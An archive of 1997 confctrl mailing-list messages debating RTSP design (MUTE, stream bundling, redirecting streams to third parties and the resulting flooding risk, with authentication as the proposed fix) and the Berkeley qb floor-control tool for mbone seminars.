Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19209>; Wed, 23 Apr 1997 06:08:03 -0700
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA17843>; Wed, 23 Apr 1997 05:45:57 -0700
Received: (qmail 10453 invoked by uid 1067); 23 Apr 1997 12:43:34 -0000
Date: Wed, 23 Apr 1997 15:43:33 +0300 (EET DST)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Jeff Smith <sumisu@nttlabs.com>
Cc: Henning Schulzrinne <schulzrinne@cs.columbia.edu>,
        Rob Lanphier <robla@prognet.com>, confctrl@ISI.EDU
Subject: Re: RTSP: 6. Destination for data that is not the source of control  messages 
In-Reply-To: <199704191650.JAA02687@mailhost.nttlabs.com>
Message-Id: <Pine.LNX.3.95.970423154141.10267D-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Sat, 19 Apr 1997, Jeff Smith wrote:

>Why would a multicast destination be problematic?  Seems to me that
>SIP was designed largely for the multicast case.

Sorry. I seem to have been a little mixed up the day I wrote that. I was
thinking about the direction SIP works in completely assbackwards....

--------
>|>This is beginning to sound more and more like a task to be performed
>|>by an invitation protocol (SIP) and not a channel control protocol.
>|
>|Indeed. However, there may be some problems in that approach as well.
>|Especially in the case where the desired destination address is multicast.

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Wed Apr 23 18:43:33 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19276>; Wed, 23 Apr 1997 06:11:45 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19270>; Wed, 23 Apr 1997 06:11:42 -0700
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA18230>; Wed, 23 Apr 1997 06:06:50 -0700
Received: (qmail 10453 invoked by uid 1067); 23 Apr 1997 12:43:34 -0000
Date: Wed, 23 Apr 1997 15:43:33 +0300 (EET DST)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Jeff Smith <sumisu@nttlabs.com>
Cc: Henning Schulzrinne <schulzrinne@cs.columbia.edu>,
        Rob Lanphier <robla@prognet.com>, confctrl@ISI.EDU
Subject: Re: RTSP: 6. Destination for data that is not the source of control  messages 
In-Reply-To: <199704191650.JAA02687@mailhost.nttlabs.com>
Message-Id: <Pine.LNX.3.95.970423154141.10267D-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Sat, 19 Apr 1997, Jeff Smith wrote:

>Why would a multicast destination be problematic?  Seems to me that
>SIP was designed largely for the multicast case.

Sorry. I seem to have been a little mixed up the day I wrote that. I was
thinking about the direction SIP works in completely assbackwards....

--------
>|>This is beginning to sound more and more like a task to be performed
>|>by an invitation protocol (SIP) and not a channel control protocol.
>|
>|Indeed. However, there may be some problems in that approach as well.
>|Especially in the case where the desired destination address is multicast.

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Wed Apr 23 19:15:00 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19394>; Wed, 23 Apr 1997 06:22:33 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19388>; Wed, 23 Apr 1997 06:22:30 -0700
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA18550>; Wed, 23 Apr 1997 06:18:45 -0700
Received: (qmail 10620 invoked by uid 1067); 23 Apr 1997 13:15:00 -0000
Date: Wed, 23 Apr 1997 16:15:00 +0300 (EET DST)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: 'Gray Cope' <grayc@CreativeConnections.com>, confctrl@ISI.EDU
Subject: Re: Presentations & MUTE in RTSP
In-Reply-To: <503A2A3C2932CF118D8800805FD44E18032F7496@RED-68-MSG.dns.microsoft.com>
Message-Id: <Pine.LNX.3.95.970423160644.10267H-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Mon, 21 Apr 1997, Eric Fleischman wrote:

>I think that there is widespread agreement in the RTSP community that
>MUTE should be optional.

Or that it should not be (at all).

>[An aside: Streaming Servers need to support huge number of users if
>they support "on-demand" uses. However, they also need to support large
>number of users for a single "live" event because multicast is not yet
>universally deployed. Thus, when one announces a multicasted event,
>streaming servers also need to support N number of unicast sessions for
>the same event for those users who are unable to receive multicast.
>Thus, server performance is the single most critical element when
>designing streaming products.]

Agreed. Furthermore, if one uses segregated data streams with multicast
sessions, one is bound to have some problems if all the synchronization
burden is pushed to the client end. The clients should largely be blind,
as far as the application viewer is concerned, as to whether the streams
come from multicast or unicast sources. This makes heavy client side
buffering more difficult.

>Thus, in this hypothetical situation, a single product may support MUTE
>for one data approach but will not support MUTE for another data
>approach. I would like to community to be aware of this so that we could
>hopefully tailor MUTE (and other alternatives like it) appropriately.

Such unnecessary polymorphism in the server environment should not, in my
oppinion, be condoned.

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Wed Apr 23 19:34:42 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19725>; Wed, 23 Apr 1997 06:40:08 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19719>; Wed, 23 Apr 1997 06:40:06 -0700
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA19012>; Wed, 23 Apr 1997 06:37:52 -0700
Received: (qmail 10750 invoked by uid 1067); 23 Apr 1997 13:34:42 -0000
Date: Wed, 23 Apr 1997 16:34:42 +0300 (EET DST)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Karl Auerbach <karl@precept.com>
Cc: confctrl@ISI.EDU
Subject: RE: MUTE in RTSP
In-Reply-To: <Pine.SOL.3.93.970421111828.5061B-100000@big-bear>
Message-Id: <Pine.LNX.3.95.970423161839.10267I-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Mon, 21 Apr 1997, Karl Auerbach wrote:

>If you have adopted a media format which is hard to unbundle, you have my
>sympathy.  But I do not see any reason to impose that design attribute
>onto the network in perpituity as part of a protocol standard.

I think the problem is in whether the unbundling can be done (at least
partially) off-line. If not, the costs can go up very rapidly. Of course,
with most formats, there is no problem in separating the feeds previously
to putting the data online.

But I agree. Interlaced formats should be possibly but by no means 
compulsory.

>Whether the media streams arrive at the receiver unbundled or not, because
>the time-to-render characteristics of each kind of rendering hardware
>(audio/video/etc), the receiver must often unbundle them and do
>considerable amounts of inter-stream time biasing in order to get get them
>to be rendered at the same time.

But such buffering is easier to do because you do not have to take into
account the delay jitter of the network, which is, with current, widely
deployed networking technologies, quite considerable. There are also bound
to be more synchronization problems over a heterogeneous cloud of routers
and networks when operating with segregated data streams than with
interlaced ones. Just one problem is the time it takes for a transport to
throttle back in the precense of heavy network load and very high
bandwidth data streams (say, HDTV quality audio+video).

>In addition, by sending worthless data onto the network, the approach that
>you are advocating may cause congestion and damage to the presentation
>quality of entirely separate presentations.

But in the future networks, where resource reservation and QoSR abound,
and there will be a huge amount of bandwidth available (not endless, but
huge), that might not be such a problem that it is today.

>> (B) to have that same server send that content "as a bundle" down to the
>> client at a rate determined by the "bundled" media timing dependencies. 
>> Even if we were only talking about 2 media types (instead of arbitrarily
>> large number of media types) it appears obvious (to my feeble mind, at
>> least) that A is significantly more work than B. 
>
>>From my experience building working sofware, I do not feel that the word
>"significantly" is a correct assesment.

But it takes, nevertheless, more from the server side. Assume you have a
high quality, interlaced MM presentation to send. If you send it as-is,
practically no work is required in addition to retrieving it from the disk
and sending it (steady state transmission is assumed). If you have to
segregate it, however, you end up with more network layer state (many,
many more connections, possibly), separate buffers for all of the
interlaced streams, larger server side code (leading to cache coherency
problems), high latencies and, possibly, considerably more difficult
resource reservation procedures when QoSR is present; complex, mandatory
client-side buffering to rid the delay jitter, no real benefit for
multicasting situations etc. etc. This all assumes a single server, of
course. But if the presentation already exists in an interlaced format, it
may not be feasible to distribute it to many machines.

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Wed Apr 23 19:44:35 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19939>; Wed, 23 Apr 1997 06:46:28 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19933>; Wed, 23 Apr 1997 06:46:27 -0700
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA19284>; Wed, 23 Apr 1997 06:46:24 -0700
Received: (qmail 10791 invoked by uid 1067); 23 Apr 1997 13:44:36 -0000
Date: Wed, 23 Apr 1997 16:44:35 +0300 (EET DST)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Karl Auerbach <karl@precept.com>
Cc: confctrl@ISI.EDU
Subject: Re: Presentations & MUTE in RTSP
In-Reply-To: <Pine.SOL.3.93.970421113448.5061C-100000@big-bear>
Message-Id: <Pine.LNX.3.95.970423163514.10267J-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Mon, 21 Apr 1997, Karl Auerbach wrote:

>Can you imagine how you would feel if the caller could tell your telephone
>that the "mute" button on your phone should be inoperative for a
>particular call? 

This isn't the problem here. In the context of RTSP, MUTE is just an
optimization. Nobody tells you that you cannot turn display of some single
stream off and still have it coming in from the network.

>> .... However, the majority of existing multimedia content was
>> created by the CD-ROM community. 
>
>I disagree.  The vast bulk of multimedia content is created daily by
>people communicating with one another.  Add to that the professionally
>generated broadcast TV and CDROMs become nearly invisibile as a tiny,
>almost insignificant, speck.

Multimedia as in more than direct AV broadcast. That means true
presentations and controllable content in this context.

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Wed Apr 23 19:52:35 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20188>; Wed, 23 Apr 1997 06:55:05 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20182>; Wed, 23 Apr 1997 06:55:01 -0700
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA19555>; Wed, 23 Apr 1997 06:54:23 -0700
Received: (qmail 10825 invoked by uid 1067); 23 Apr 1997 13:52:35 -0000
Date: Wed, 23 Apr 1997 16:52:35 +0300 (EET DST)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: Eric Fleischman <ericfl@MICROSOFT.com>, confctrl@ISI.EDU
Subject: Re: Presentations & MUTE in RTSP
In-Reply-To: <335BF53D.6059@cs.columbia.edu>
Message-Id: <Pine.LNX.3.95.970423164822.10267K-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Mon, 21 Apr 1997, Henning Schulzrinne wrote:

>In the case of 'bundled' (CD ROM) presentations shipped as a single RTP
>stream, that stream is also a single RTSP stream (single RTSP URL). It
>wouldn't really make any sense to pause/mute/play anything but the whole
>show.

PAUSE no. MUTE yes. You wouldn't want to pause the soundtrack to a movie
only to discover that it is out of sync when you start it. But you sure as
hell would like to mute it if you got tired of hearing the ear piercing
whistle they used...

>If you allow anything else, you are back to having to unbundle and
>reassemble the CD ROM presentation. Thus, MUTE for the whole show works
>just fine (whether it's generally useful in that case is a different
>issue).

Let's assume you're deaf. Would there not be sense in MUTEing the
soundtrack of a movie if a text was available?

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Wed Apr 23 20:03:19 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AB20568>; Wed, 23 Apr 1997 07:05:39 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20556>; Wed, 23 Apr 1997 07:05:37 -0700
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA19904>; Wed, 23 Apr 1997 07:05:10 -0700
Received: (qmail 10927 invoked by uid 1067); 23 Apr 1997 14:03:19 -0000
Date: Wed, 23 Apr 1997 17:03:19 +0300 (EET DST)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: Anup Rao <anup@netscape.com>, confctrl@ISI.EDU
Subject: Re: RTSP denial-of-service attacks: never mind
In-Reply-To: <335CECD6.1828@cs.columbia.edu>
Message-Id: <Pine.LNX.3.95.970423165639.10267L-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Tue, 22 Apr 1997, Henning Schulzrinne wrote:

>> Not sure I understand this.(Or am I possibly correlating this to the
>> wrong earlier message ?). The Session: header is returned by the
>> server, in response to SETUP. The client then uses it in subsequent
>> control messages, one of which may direct the stream at an unsuspecting
>> third party. There is no need to snoop on responses.
>
>You are right, third-party dumping is still possible, but at least I'll
>know the right network address of the person who did it (unlike, say,
>SYN flood attacks).

But such third-party dumps are precisely of the worst kind. If the server
operator is too busy to co-operate or no logs are kept, there is no way to
find about the originator of the stream. And even if there is, it is all
too easy to dump a couple of hundreds of machines dead in an afternoon
using methods like this; that can happen long before anyone catches you.
And what does it matter, anyway, if you're, for example, in another
country when the poor users cry out?

>Sequence would be:
>
>C->S: SETUP
>S->C: give Session ID back to entity where command claims to originate
>from
>
>C->S: PLAY (only if you have the right session ID)
>S:    data starts flowing

...at 100Mbps to someone on the other side of the globe with a networks
operator that charges immense sums on incoming traffic. The user decides
not to accept the data, but cannot stop the stream as he doesn't possess
the appropriate session ID. The costs go up, the user goes bankrupt and
ends up as an alcoholic at the park bench, dying poor and unknown at some
later point in future.

No possibilities for third party flooding, thank you. ;)

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Wed Apr 23 00:13:10 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20872>; Wed, 23 Apr 1997 07:13:25 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20866>; Wed, 23 Apr 1997 07:13:18 -0700
Received: from woodstock.CS.Berkeley.EDU by venera.isi.edu (5.65c/5.61+local-26)
	id <AA20712>; Wed, 23 Apr 1997 07:13:11 -0700
Received: (from radhika@localhost) by woodstock.cs.berkeley.edu (8.8.4/8.8.2) id HAA07587; Wed, 23 Apr 1997 07:13:11 -0700 (PDT)
From: Radhika Malpani <radhika@CS.Berkeley.EDU>
Message-Id: <199704231413.HAA07587@woodstock.cs.berkeley.edu>
Subject: Re: qb - a new floor ctrl tool fro asking questions
To: finlayson@lvn.com (Ross Finlayson)
Date: Wed, 23 Apr 1997 07:13:10 -0700 (PDT)
Cc: confctrl@ISI.EDU
In-Reply-To: <1.5.4.16.19970422213032.5a4ff1c2@pop.best.com> from "Ross Finlayson" at Apr 22, 97 09:48:08 pm
X-Mailer: ELM [version 2.4 PL25]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

> 
> >Participants can indicate a desire to ask a question by
> >typing in a few keywords (or the actual question if they do not have a
> >microphone connected). The moderator can then either read the question and
> >verbally respond, or can grant the floor to the participant allowing him to
> >ask his question by talking into his microphone. Qb works in conjunction
> >with vic & vat.
> 
> How, if at all, do you enforce this 'floor control'?  I.e., what's to stop
> someone from chiming in with a question (via the audio channel) without
> going through your floor control mechanism?
> 
> I can imagine implementing some sort of manditory floor control using
> public-private key pairs and digital signatures: Questions (whether audio or
> text) would be signed in some way.  Each listener has a public key to verify
> the signature on a question, but only the person who's been given the floor
> has the private key necessary to 'sign' his question.  (You'd need to have
> some way of having the key change each time a new person is given the floor.)
> 
> But if the 'floor control' mechanism is voluntary - as I suspect this one is
> - then why bother?  Multicast-based schemes that rely on all participants
> behaving nicely aren't very practical (except in very constrained
> environments), IMO.
> 
>         Ross.
> 
> 

Qb does send the grant-floor directive to vic & vat using the conference bus
mechanism. The idea is to have vat start with muting all participants and
then have it unmute participants that currently have the floor. However, vic/vat 
have not yet been modified to understand the messages. So currently there is 
nothing to stop someone from chiming in with a question. So right now the
floor control mechanism IS voluntary, where participants wait until they
have been granted the floor before talking. Qb is still very useful as it
lets participants know when they can ask a qs without interrupting the
speaker or other participants. Think of it as currently replicating the
raised hand analogy of a local audience, for the mbone audience. It
effectively allows participants to raise their hand in such a way that others
including the speaker can see it, and lets the speaker nod/point to a
participant granting him the floor.

-Radhika 

------------------------------------------------------------------------
Radhika Malpani				radhika@CS.Berkeley.EDU
Berkeley Multimedia Research Center	http://www.cs.berkeley.edu/~radhika

From majordom@ISI.EDU  Wed Apr 23 02:00:00 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22937>; Wed, 23 Apr 1997 08:00:38 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22931>; Wed, 23 Apr 1997 08:00:33 -0700
Received: from mailhost.nttlabs.com (ns.nttlabs.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA23198>; Wed, 23 Apr 1997 08:00:32 -0700
Received: from coltrane.nttlabs.com by mailhost.nttlabs.com (8.8.4+2.7Wbeta4/3.5Wpl2(97/01/23))
	id IAA23756; Wed, 23 Apr 1997 08:00:13 -0700 (PDT)
Message-Id: <199704231500.IAA23756@mailhost.nttlabs.com>
To: Carsten Bormann <cabo@informatik.uni-bremen.de>
Cc: Ben Anderson <ben.anderson@bt-sys.bt.co.uk>,
        Ross Finlayson <finlayson@lvn.com>,
        Radhika Malpani <radhika@CS.Berkeley.EDU>, confctrl@ISI.EDU,
        ecolabor@nttlabs.com
Subject: Re: qb - a new floor ctrl tool fro asking questions 
Reply-To: sumisu@nttlabs.com (Jeffrey D. Smith)
In-Reply-To: Your message of "23 Apr 1997 12:24:53 +0200"
References: <3.0.1.32.19970423101850.007b56a0@hfs1.hfnet.bt.co.uk>  <ualo6ahw96.fsf@dienstmann.informatik.uni-bremen.de>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk
	 
Date: Wed, 23 Apr 1997 09:00:00 -0700
From: Jeff Smith <sumisu@nttlabs.com>

In our experience, the trick is to support changing schemes for
floor/social control that occur even during the same session of the
same participants.  Any one control mechanism may not be appropriate
during a meeting where, for example a presentation is made,
brainstorming is done, and some decisions need to be made (possibly
using voting).

There is not a "one size fits all solution" - particularly the
technological solution - but social systems tend to be more flexible
and appropriate among a group of people who are "well acquainted" and
can detect the subtle cues (made even more subtle because of limited
bandwidth, long delay).

In any case, this is one interesting area of research (for both types
of protocols - social and network :) ...

js

|Ben Anderson <ben.anderson@bt-sys.bt.co.uk> writes:
|
|> At 21:48 22/04/97 -0700, Ross Finlayson wrote:
|> >
|> >- then why bother?  Multicast-based schemes that rely on all participants
|> >behaving nicely aren't very practical (except in very constrained
|> >environments), IMO.
|> >
|> 
|> I disagree, virtually all of our real-world group interactions rely on
|> people behaving nicely backed up by social, cultural and (if necessary)
|> legal re-inforcement. Turn-taking in meetings depends on context and social
|> mores NOT physically imposed gagging (usually ;-)...
|
|Carsten comments:
|
|The problem is that it's hard to be "nice" to each other in a
|bandwidth-constrained, high-delay channel.  For instance, it is rare
|that you will be as aware of, say, ten other conference participants'
|facial expressions in a teleconference as you easily can be in a
|physical meeting.  Subtle cues to what's nice and what's not get lost.
|
|Machine support for being "nice" (i.e., group organization) certainly
|helps, if it can be made inobtrusive and easy to handle.  That
|property, however, is not easy to achieve -- this may be one reason
|many people who have tried floor control systems etc. dislike them.
|
|


From majordom@ISI.EDU  Wed Apr 23 02:02:13 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26465>; Wed, 23 Apr 1997 09:02:17 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26459>; Wed, 23 Apr 1997 09:02:13 -0700
Received: from woodstock.CS.Berkeley.EDU by venera.isi.edu (5.65c/5.61+local-26)
	id <AA27525>; Wed, 23 Apr 1997 09:02:10 -0700
Received: from woodstock.cs.berkeley.edu (localhost.Berkeley.EDU [127.0.0.1]) by woodstock.cs.berkeley.edu (8.8.4/8.8.2) with ESMTP id JAA08121; Wed, 23 Apr 1997 09:02:15 -0700 (PDT)
From: Larry Rowe <larry@CS.Berkeley.EDU>
Message-Id: <199704231602.JAA08121@woodstock.cs.berkeley.edu>
X-Mailer: exmh version 1.6.9 8/22/96
To: Carsten Bormann <cabo@informatik.uni-bremen.de>
Cc: confctrl@isi.edu, radhika@woodstock.CS.Berkeley.EDU
Subject: Re: qb - a new floor ctrl tool fro asking questions 
Reply-To: Rowe@bmrc.berkeley.edu
In-Reply-To: Your message of "23 Apr 1997 12:24:53 +0200."
             <ualo6ahw96.fsf@dienstmann.informatik.uni-bremen.de> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Wed, 23 Apr 1997 09:02:13 -0700
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hi -

We implemented the questionboard tool for several reasons.

1. We hoped that it would encourage more people to ask questions.  Our 
multimedia seminar gets essentially no remote questions.  Part of it is the 
poor audio/video support in our classroom.  That's being fixed.

But still, people don't ask questions.  Here's some possible reasons.

2. They don't have microphones and (optional) cameras connected to their 
computers.  It's a little hard to ask a question when you have to worry about 
getting everything working.
SOLUTION: allow folks to type questions 

3. The social protocol for asking a question is not supported.  As said by 
Carsten, there are very subtle signals in the protocol including
+ audience member raises hand, speaker recognizes questioner
+ speaker sees quizzical look on audience member's face or someone start to 
raise their hand, but then take it down.  speaker asks explicitly whether the 
person has a question -- note: this encourages questions
+ speaker invites questions -- important because people are intimidated, so 
enocouragement is often required

4. Very long latency in communication.  This can be due to communication 
distance over low bandwidth links or it can be due to the long playout delay 
imposed by some mbone viewers (e.g., the Precept viewer delays playout by 1-2 
seconds to buffer against network congestion and synchronize audio and video 
streams).  It is well known in the telco industry that round trip 
communication must be under 300-400 msecs or you get awkward communication.

Our idea with qb was to attempt to solve some of these problems.  By allowing 
people to enter requests and/or text questions, it avoids problem of turn 
taking and absence of microphones.  The system also allows people to enter 
private and anonymous questions.  Maybe none of this will work, but we have to 
do something to improve the interactivity for remote viewers.

So, give it a try and *ask* a question today.
	Larry
-- 
Professor Lawrence A. Rowe               Internet:  Rowe@BMRC.Berkeley.EDU
Computer Science Division - EECS         Phone: 510-642-5117
University of California, Berkeley       Fax: 510-642-5615
Berkeley, CA 94720-1776
URL: http://www.bmrc.berkeley.edu/~larry




From majordom@ISI.EDU  Wed Apr 23 18:15:18 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27457>; Wed, 23 Apr 1997 09:19:30 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27451>; Wed, 23 Apr 1997 09:19:27 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA25133>; Wed, 23 Apr 1997 09:19:12 -0700
Received: from waffle.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.00378-0@bells.cs.ucl.ac.uk>; Wed, 23 Apr 1997 17:15:19 +0100
To: sumisu@nttlabs.com (Jeffrey D. Smith)
Cc: Carsten Bormann <cabo@informatik.uni-bremen.de>,
        Ben Anderson <ben.anderson@bt-sys.bt.co.uk>,
        Ross Finlayson <finlayson@lvn.com>,
        Radhika Malpani <radhika@CS.Berkeley.EDU>, confctrl@ISI.EDU,
        ecolabor@nttlabs.com
Subject: Re: qb - a new floor ctrl tool fro asking questions
In-Reply-To: Your message of "Wed, 23 Apr 1997 09:00:00 PDT." <199704231500.IAA23756@mailhost.nttlabs.com>
Date: Wed, 23 Apr 1997 17:15:18 +0100
Message-Id: <2126.861812118@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



 >In our experience, the trick is to support changing schemes for
                                          or charging schemes:-)

jon

From majordom@ISI.EDU  Wed Apr 23 03:06:25 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA02632>; Wed, 23 Apr 1997 10:09:16 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA02626>; Wed, 23 Apr 1997 10:09:14 -0700
Received: from netscape.com (h-205-217-237-47.netscape.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA01170>; Wed, 23 Apr 1997 10:09:12 -0700
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54])
	by netscape.com (8.8.5/8.8.5) with ESMTP id KAA17934
	for <confctrl@ISI.EDU>; Wed, 23 Apr 1997 10:09:10 -0700 (PDT)
Received: from stargazer ([204.29.186.91]) by dredd.mcom.com
          (Netscape Mail Server v2.02) with SMTP id AAA12477;
          Wed, 23 Apr 1997 10:09:10 -0700
Message-Id: <335E4191.42F3@netscape.com>
Date: Wed, 23 Apr 1997 10:06:25 -0700
From: Anup Rao <anup@netscape.com>
Organization: Netscape Communications Corp.
X-Mailer: Mozilla 3.0GoldC (X11; U; SunOS 5.4 sun4m)
Mime-Version: 1.0
To: Sampo Syreeni <decoy@edu.lahti.fi>
Cc: Henning Schulzrinne <schulzrinne@cs.columbia.edu>, confctrl@ISI.EDU
Subject: Re: RTSP denial-of-service attacks: never mind
References: <Pine.LNX.3.95.970423165639.10267L-100000@nexus.edu.lahti.fi>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Sampo Syreeni wrote:

> ...at 100Mbps to someone on the other side of the globe with a networks
> operator that charges immense sums on incoming traffic. The user decides
> not to accept the data, but cannot stop the stream as he doesn't possess
> the appropriate session ID. The costs go up, the user goes bankrupt and
> ends up as an alcoholic at the park bench, dying poor and unknown at some
> later point in future.
> 
> No possibilities for third party flooding, thank you. ;)
> 
> Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>

This is an issue that has been talked about quite a bit, including the
seemingly  *DIIIIIIIRRRRRRRRE*  consequences.  Lets step back a bit and
look at points from Henning's previous message:

a) Such an  attack is also possible by spoofing the source address of a
UDP control message. Therefore, there is no additional significant
security burden  imposed.

b) The correct means to prevent this is to *authenticate*. 

There is nothing to preclude the server from refusing to send data to a
destination(that is not the source of control messages) ie. either
request authentication or refuse altogether. Or support only control
messages over TCP, possibly with SSL. This way, it would not contribute
to any byterrorism.

-- 
-----------------------------------------------------------------
  Anup Rao                                                      
  Netscape Communications Corp.                   
  email : anup@netscape.com         Phone : (415) 937 3129       
-----------------------------------------------------------------

From majordom@ISI.EDU  Wed Apr 23 03:06:51 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA02510>; Wed, 23 Apr 1997 10:07:07 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA02497>; Wed, 23 Apr 1997 10:07:05 -0700
Received: from woodstock.CS.Berkeley.EDU by venera.isi.edu (5.65c/5.61+local-26)
	id <AA01075>; Wed, 23 Apr 1997 10:07:00 -0700
Received: (from radhika@localhost) by woodstock.cs.berkeley.edu (8.8.4/8.8.2) id KAA08564; Wed, 23 Apr 1997 10:06:51 -0700 (PDT)
From: Radhika Malpani <radhika@CS.Berkeley.EDU>
Message-Id: <199704231706.KAA08564@woodstock.cs.berkeley.edu>
Subject: Re: qb - a new floor ctrl tool for asking questions
To: sumisu@nttlabs.com
Date: Wed, 23 Apr 1997 10:06:51 -0700 (PDT)
Cc: cabo@informatik.uni-bremen.de, ben.anderson@bt-sys.bt.co.uk,
        finlayson@lvn.com, radhika@CS.Berkeley.EDU, confctrl@ISI.EDU,
        ecolabor@nttlabs.com
Reply-To: radhika@CS.Berkeley.EDU
In-Reply-To: <199704231500.IAA23756@mailhost.nttlabs.com> from "Jeff Smith" at Apr 23, 97 09:00:00 am
X-Mailer: ELM [version 2.4 PL25]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

> 
> In our experience, the trick is to support changing schemes for
> floor/social control that occur even during the same session of the
> same participants.  Any one control mechanism may not be appropriate
> during a meeting where, for example a presentation is made,
> brainstorming is done, and some decisions need to be made (possibly
> using voting).
Agreed. We have tried to design the qb protocol so that it could be
extended and applied to other floor control policies, but the qb
tool itself is specifically designed for large-scale mbone seminars --
where a speaker gives a talk and audience members may ask questions.

-Radhika

> 
> There is not a "one size fits all solution" - particularly the
> technological solution - but social systems tend to be more flexible
> and appropriate among a group of people who are "well acquainted" and
> can detect the subtle cues (made even more subtle because of limited
> bandwidth, long delay).
> 
> In any case, this is one interesting area of research (for both types
> of protocols - social and network :) ...
> 
> js
> 
> |Ben Anderson <ben.anderson@bt-sys.bt.co.uk> writes:
> |
> |> At 21:48 22/04/97 -0700, Ross Finlayson wrote:
> |> >
